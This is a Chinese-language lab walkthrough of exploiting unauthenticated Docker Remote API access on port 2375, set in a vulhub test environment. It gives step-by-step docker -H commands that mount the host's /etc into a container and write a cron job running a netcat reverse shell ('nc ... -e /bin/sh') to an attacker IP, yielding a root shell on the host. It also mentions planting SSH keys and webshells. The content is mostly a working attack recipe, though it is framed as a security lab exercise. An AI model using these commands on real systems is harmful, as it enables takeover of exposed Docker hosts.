应用简介

Docker是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker

漏洞简介

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.31.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有container,甚至是获取宿主机的shell

测试环境

attacker:kali linux
victim:vluhub里面的docker

docker常用删除命令

删除容器

rm + 容器id

删除镜像

rmi + 镜像id

docker run常见命令

-d:后台运行容器,并返回容器ID
-i: 以交互模式运行容器,通常与 -t 同时使用
-t: 为容器重新分配一个伪输入终端,通常与 -i 同时使用
-p: 指定端口映射,格式为:主机(宿主)端口:容器端口
-P: 随机端口映射,容器内部端口随机映射到主机的高端口
-v:    绑定一个卷
--name="test": 为容器指定一个名称

常见利用方式

计划任务反弹shell

nmap扫描到目标主机开放2375端口,验证是否存在Docker remote api未授权访问漏洞
1.jpg

查看docker版本
10.jpg

查看当前镜像(当前还没有镜像)

docker -H tcp://192.168.43.78:2375 images

2.jpg

列出所有容器(当前还没有容器)

docker -H tcp://192.168.43.78:2375 ps -a

3.jpg

启动容器,使用alpine镜像挂载宿主机的/etc/tmp下,因为没有alpine镜像所以它创建了该镜像

docker -H tcp://192.168.43.78:2375 run -id -v /etc:/tmp alpine:latest

4.jpg

此时再列出所有容器

docker -H tcp://192.168.43.78:2375 ps -a

5.jpg

进入容器

docker -H tcp://192.168.43.78:2375 exec -it dbf98ec99385 /bin/sh

6.jpg

找到crontabs目录里面有个root文件就是计划任务
7.jpg

没有python但是安装了nc,在/usr/bin/nc下,所以就使用nc反弹宿主机shell
攻击机nc监听
9.jpg

输入计划任务

echo '* * * * * /usr/bin/nc 192.168.43.159 9999 -e /bin/sh' >> /tmp/crontabs/root

8.jpg
最后拿到宿主机shell

写入ssh公钥

挂载/root目录,将攻击机的ssh公钥复制到/root/.ssh/authorized_keys文件中
和redis未授权访问一样,此处略

写入webshell

如果有网站,权限较低,那么可以写入webshell
和redis未授权访问一样,此处略